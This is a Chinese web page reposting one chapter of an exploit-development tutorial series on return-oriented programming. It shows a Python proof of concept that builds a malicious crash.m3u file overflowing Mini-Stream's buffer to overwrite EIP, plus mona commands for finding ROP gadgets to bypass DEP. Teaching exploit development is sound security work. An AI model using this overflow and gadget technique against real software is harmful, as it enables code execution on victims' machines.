- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
收集配件
漏洞利用比较抽象,你得到的信息越多,你看的就越清楚,离成功也就越近. 让我们看看下面这个 POC, BBBB 将会覆写 EIP.
#!/usr/bin/python import sys, struct file="crash.m3u" #---------------------------------------------------------------------# # Badchars: '\x00\x09\x0A' # #---------------------------------------------------------------------# crash = "http://." + "A"*17416 + "B"*4 + "C"*7572 writeFile = open (file, "w") writeFile.write( crash ) writeFile.close()
老办法,附加 Mini-Stream 到调试器然后打开 crash.m3u 文件. 你可以看到下图所示的崩溃. 有几点值得注意:
(1)ESP 指向我们的缓冲区真是好消息因为我们可以用 retn 指令地址覆写 EIP 从而跳到我们 ROP 链的开始。
(2) 我们看到 ESP 指向 EIP+4 的位置,稍后我们要填充着 4 个字节。
好. 我们基本搞清了内存布局. 用 mona 看看软件加载了哪些模块(记住只要没有 non-base, no-ASLR,no 坏字符). 看起来只有一个 dll 符合要求(MSRMfilter03.dll). 接下来用 mona 搜索 ROP 链需要的小配件. 分别执行这两个命令:
!mona modules !mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
最后就是用 mona 在 MSRMfilter03.dll 找到这些小配件, mona 会生成几个重要的文件:
“rop.txt”(ROP 配件的原始列表),
“rop_suggestions.txt”(基于函数过滤后的 ROP 配件列表),
“stackpivot.txt”(转移 ESP 的配件),
“rop_virtualprotect.txt”(基于 VirtualProtect 函数的 ROP 链小配件).
我建议打开这些文件方便随时参考. 尽管我们将要用 VirtualAlloc 去禁用 DEP, 我们同样会看看“rop_virtualprotect.txt 是否有我们需要的小配件。
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论